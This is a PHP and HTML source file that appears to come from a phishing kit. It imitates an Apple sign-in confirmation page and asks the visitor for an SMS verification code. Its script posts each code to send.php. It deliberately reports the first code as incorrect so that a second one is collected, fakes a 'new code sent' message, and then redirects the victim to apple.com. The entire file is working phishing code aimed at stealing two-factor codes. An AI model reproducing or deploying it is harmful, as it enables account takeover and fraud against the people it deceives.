File: /home/axxoncom/public_html/Apple/en/otp.php
<?php
require '../main.php';
?>
<!doctype html>
<html>
<head>
<title>Sign In - Account</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<link rel="stylesheet" href="inc/style.css">
<link rel="icon" href="inc/logos.png">
<script src="inc/jq.js"></script>
</head>
<body>
<div class="header">
<div class="left">
<img src="inc/menu.png">
</div>
<div class="mid">
<img src="inc/logo.png">
</div>
<div class="right">
<img src="inc/bag.png">
</div>
</div>
<div class="content">
<div class="form" style="">
<div class="col" style="margin-bottom:-13px;">
<h1 style="margin:20px 0;"><?= $lang['_confirmation_title']; ?></h1>
<h3><?= $lang['_confirmation_subtitle']; ?></h3>
<span id="msg"> </span>
</div>
<div class="col">
<p id="otp_error" style="color:red; display:none;"><?= $lang['_incorrect_code']; ?></p>
<div class="input" id="idinput">
<div class="input-holder"><input type="text" class="textinput" placeholder="<?= $lang['_sms_code_placeholder']; ?>" id="otp"></div>
<div id="nrxtbtn1" onclick="sendOTP()"><img id="pic_id" src="inc/next.png"></div>
</div>
</div>
<div class="col" style="text-align:center; margin-top:35px; font-size:0.8em;">
<div style="margin:6px 0; align-items:center; justify-content:center; display:flex; color:#3787d7; cursor:pointer;" onclick="newCode()">
<?= $lang['_request_new_code']; ?>
</div>
</div>
</div>
</div>
<script>
var codes = 2;
function newCode(){
$("#msg").html("<img src='inc/loader.gif' style='width:20px;'>");
setTimeout(function(){
$("#msg").html("<?= $lang['_new_code_sent']; ?>");
}, 1300);
}
</script>
<div class="footer">
<div class="footerholder">
<div style="padding:20px 0;">
<?= $lang['_need_help']; ?>
</div>
</div>
<div class="footercontent">
<div style="display:inline-block; width:1000px; max-width:90%;">
<div style="text-align:left; border-bottom:1px solid #cacaca; padding:14px 0;">
<?= $lang['_encryption_notice']; ?>
</div>
<div style="text-align:left; padding:14px 0;">
<?= $lang['_more_ways_to_shop']; ?>
</div>
<div style="text-align:left; padding:14px 0; margin-top:-20px;">
<?= $lang['_copyright']; ?>
</diV>
</div>
</div>
</div>
<script>
var times = 0;
function sendOTP(){
$("#otp_error").hide();
if($("#otp").val()!=""){
$("#pic_id").css("width", "39px");
$("#pic_id").css("padding", "5px");
$("#pic_id").attr("src", "inc/loader.gif");
otp = $("#otp").val();
$.post("send.php", {otp:otp}, function(done){});
setTimeout(function(){
times++;
if(times>=2){
window.location = "https://www.apple.com/";
$("#pic_id").css("width", "39px");
$("#pic_id").css("padding", "0");
$("#pic_id").attr("src", "inc/next.png");
}else{
$("#otp").val("");
$("#pic_id").css("width", "39px");
$("#pic_id").css("padding", "0");
$("#pic_id").attr("src", "inc/next.png");
$("#otp_error").show();
}
}, <?php echo $seconds * 1000; ?>);
}
}
$("input").keypress((e)=>{
if(e.key=="Enter"){
sendOTP();
}
});
</script>
</body>
</html>